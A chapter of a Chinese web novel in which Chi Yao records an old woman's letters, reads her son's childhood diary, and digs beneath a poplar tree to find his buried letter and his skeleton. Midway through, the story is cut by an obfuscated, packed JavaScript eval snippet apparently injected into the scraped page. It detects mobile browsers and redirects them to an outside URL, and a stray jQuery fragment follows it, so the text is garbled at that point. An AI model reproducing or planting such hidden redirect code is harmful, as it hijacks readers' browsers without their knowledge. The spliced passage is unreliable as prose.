“抱歉,婆婆,可以等我拿个东西吗?”
读完第一封信,池遥一边开口,一边扭过身,装作在裤子口袋里找东西,另一只手暗中探到胸口处,从空间吊坠中找出了手机。
紧接着,她快速给手机开机,谢天谢地,上次充满电后,这次开机仍旧是满电状态。
她立刻打开备忘录,将第一封信的内容快速记录下来,几行文字用不了太长时间,紧接着切换界面,开始录音。
她看不懂这里的文字,需要接触信件,对信纸发动精神力,才能得知信件内容。念完信之后肯定要把信纸还给老婆婆,还是把自己念信的声音用手机录下来为好,之后可以存起来反复研究。
一连串操作结束,她才冲老妇人满怀歉意地笑笑,继续读信。
读完所有信件,池遥将自己用字迹分类的信纸重新按照年份排列,还给了老妇人,老妇人爱惜地捧着信纸,重新放回了卧室。
而池遥则与老妇人互道晚安后就回到了阁楼上,将手机录音转文字,没几分钟,就将所有信件内容整理到了手机备忘录里。
殷蘅还好好地躺在床上,池遥把青年的身体朝着床铺内侧挪了挪,给自己匀出宽敞的空间,坐在床边,反复看起了备忘录。
除了第一封信以外,其余的信件内容大多是老婆婆儿子的近况,以及对母亲的思念,但每一封信都会或多或少地提到白杨树。
究竟有什么用意?
而且,只有第一封信提到了过去的童年时光,甚至说出了幼时最喜欢的球队名字。
池遥的目光不禁投向了墙壁上的球队海报。
看来,只有第一封信是老妇人的儿子本人写下的。
那么,老妇人的儿子究竟去哪儿了?
池遥收起手机,打开阁楼书桌上的抽屉。
抽屉里的物品十分杂乱,池遥从里面翻出一个日记本,一翻开,歪歪扭扭的蚯蚓文映入眼帘,眼前一黑。
显然,留下日记的是个年幼的孩子。
池遥闭上眼睛,手掌轻轻抚摸泛旧的内页,掌心下拉扯出精神力细丝,仔细感受日记本中的内容。
她的精神力似乎增强了,不只是视觉和听觉,现在似乎还能通过精神力感受事物了。
日记本被写完了大半,池遥从最后一页开始,从后往前翻开,逐页摸索。
——明天就要搬家了,我好想把我的东西都带走,但妈妈说我们雇的车子不够大,装不下太多行李。只能带走一部分。
妈妈说城市里的杨树只有小房子那么高,不会再有和家门口一样的白杨树了。
我走了以后,白杨树会想念我吗?
——今天是我十二岁的生日,但我很不开心。
妈妈说我们要搬家了,搬去很远的地方,以后都不会回到这个小村子里了。
我好难过,眼泪停不下来,以前妈妈看我哭了总是会心软,但这一次无论我哭得多难过,她都没改变决定。
可是我最最最喜欢我的小家,我的小阁楼,隔壁的莉莉,还有窗外的白杨树了。
——亨特叔叔生了一场大病,去世了,但是我没有哭,妈妈夸我是小男子汉。
莉莉也没哭,我们都觉得亨特叔叔是跟着他的好朋友一起离开的!
——十岁生日,今天把给十年后的我写的信埋在左手边第一颗白杨树下了,十年后一定要记得挖出来看呀!
十年后的我会变成什么样呢?
——今年已经九岁啦!
亨特叔叔的病好一些了,莉莉总拉我去他们家里玩,亨特叔叔给我们讲了好多他在军队里的事!
还给我做了很多模型!讲了他在军队认识的很多朋友的故事。
可惜,亨特叔叔说,那些朋友现在都再也见不到了。
——莉莉送给我草编小狗当七岁生日礼物!我也要记得她过生日的时候给她送礼物!
莉莉的爸爸亨特叔叔最近受了伤,从军队退役回家了,据说伤得很严重,我看到莉莉偷偷流眼泪了!
要不然回家问问妈妈,该给莉莉送什么礼物好呢?
池遥垂下眼睛,在精神力的影响下,日记本中的文字逐渐组合成她能够读懂的内容。
为了能及时获取最重要的内容,她是从后往前读的,倒序看这本日记,属于孩童的字句令她不由自主地放松下来,沉浸在孩子的世界里。
老婆婆的儿子度过了一个幸福的童年。
平静的小村庄里感受不到外界的风雨,无忧无虑的童年有温柔的母亲,可爱的玩伴,以及关爱他呵护他的长辈。
池遥不由地感到羡慕。
但与男孩相比,池遥的过去尽管比不上对方的幸福,每次回想起来也令她感到惬意。
窗外的天色彻底暗了下去,池遥打开房间内的灯,坐在窗边,忍不住朝外看去。
天色暗下去后,窗外的杨树影子阴森森的,更显得张牙舞爪。
池遥侧着脑袋,去找窗户把手下的贴纸。
是一排小树简笔画的贴纸。
池遥盯着贴纸看了一会儿,又拿出手机,回顾备忘录里的信件内容,又想着刚刚看到的日记内容,脑中反复梳理着已知内容。
老妇人的儿子在二十年前,刚成年,也就是满十八岁就离开家,去到另一个城市打拼。
不知道这个世界的成年是什么标准,也可能是二十岁,算了,这不重要。
明明在男孩十二岁时,他们已经搬去了城市里,为什么要大费周章,去到遥远的另一个城市打拼呢?
从老妇人的讲述和信件,日记内容来看,这个时代科技还不算发达,从一个城市去往另一个城市要耗费大量心力和时间,如果能在自己的城市工作,何必要千里迢迢赶去其他城市,与孤身一人的母亲分居呢?
离开的第一年,他给自己的母亲寄了一封信,这封信由他亲笔书写。
然而,从第二年开始,他就再也没有亲笔写过信。
再仔细想想。
眼下,男孩离开母亲的二十年后,曾经的村庄已经不复存在,而老妇人告诉过池遥,这是因为战乱,这个小村庄不幸沦为战场,居民们不知道是提前迁离,还是就这样葬身于战场里。
小男孩的日记里也提到了战乱,这个时代战争很频繁吗?
除了这些,池遥突然想到,十岁的小男孩曾经给二十岁的自己写了一封信。
那封信还在树下吗?
想到这里,她立刻起身,走出房门。
小屋大门前,左手边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427623|177659||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
第一颗白杨树下,埋着幼时的孩子为成年后的自己写的一封信。
如果能找出这封信,她一定能知道更多内容。
借助空间里的工具,乘着夜色,池遥在白杨树下动手挖土。
白杨树周围的土壤层十分坚固,借助身体强化后的力气,才勉强挖开,没一会儿就出了一头热汗。
月色渐浓。
星星爬上了夜幕。
池遥一铲一铲地挖出一个浅浅的坑,铲子突然在土中碰到了什么东西,发出了一声轻响。
是一个小盒子。
长年埋在土中,小盒子表面早已锈迹斑斑,池遥试了很久,终于打开了盒盖。
里面是一张变黄了的纸张,隐隐能看到表面的蝌蚪文。
池遥将盒子重新盖好,恢复原状,放进空间内,等一会儿回到阁楼上再看。
她举起铁铲,刚想把挖出的浅坑复原,突然发现挖出的土呈好几种颜色,仿佛有其他地区的土壤混杂其中。
心中冒出某个念头。
池遥再度挥下铁铲,继续朝着更深处挖土。
这一次,她挖土的范围更广,更深。
不知过了多久。
池遥站在深坑里,双臂麻木不堪,揣着手臂看着脚边的东西。
是一堆白骨。
她从小盒子附近不远处的土壤中,挖出了一堆白骨,尽管时间已久,仍旧能够看出,这是一个人的尸体。
深吸一口气,池遥再次放出精神力,这一次,精神力凝结成一束长绳,一圈又一圈地包裹住了眼前的白骨。
很快,她看到了一个青年的身影。
她只能从白骨中看到断断续续的记忆,但也足够理解青年短暂的一生。
男孩十八岁时,平静了仅仅十几年的国家再度发生动乱,战乱频发。
而其中一个战场,就在他的故乡。
他们搬去的城市距离故乡十分遥远,本不会被战争波及。
然而男孩却瞒着母亲,以外出打拼为由,回到了故乡,成为了驻守故乡村庄的士兵。
他遇见了许多幼时的邻居,长辈,也看到了长大成人的儿时玩伴莉莉。
遇见了众多与他有着相同志向的战友,并肩作战。
透过精神力,池遥看到远处的青年已经换上了一身士兵制服,无论遇到什么危险,都坚决驻守在村庄前,从不后退一步。
她也看到褪下制服的青年与青梅竹马携手走在白杨树下。
“还记得吗,十岁的时候,我们给十年后的自己写了一封信,就埋在那里。不过现在似乎还没到看信的时候。”
“如果我不幸战死,就把我埋在我家门口的白杨树下吧。”
青年笑着伸出手,指了指左手边第一颗白杨树。
……
许久,残留的记忆逐渐消散。
池遥蹲下身,望着眼前的白骨,久久没有出声。
背后周围的光线突然变亮了。
身后传来缓慢的脚步声。
“这么早,你在这里做什么?”
池遥转过身,望着提着油灯,面露惊讶的老人,向身侧挪了几步,露出身后的白骨。
“婆婆,您的儿子,我......找到了。”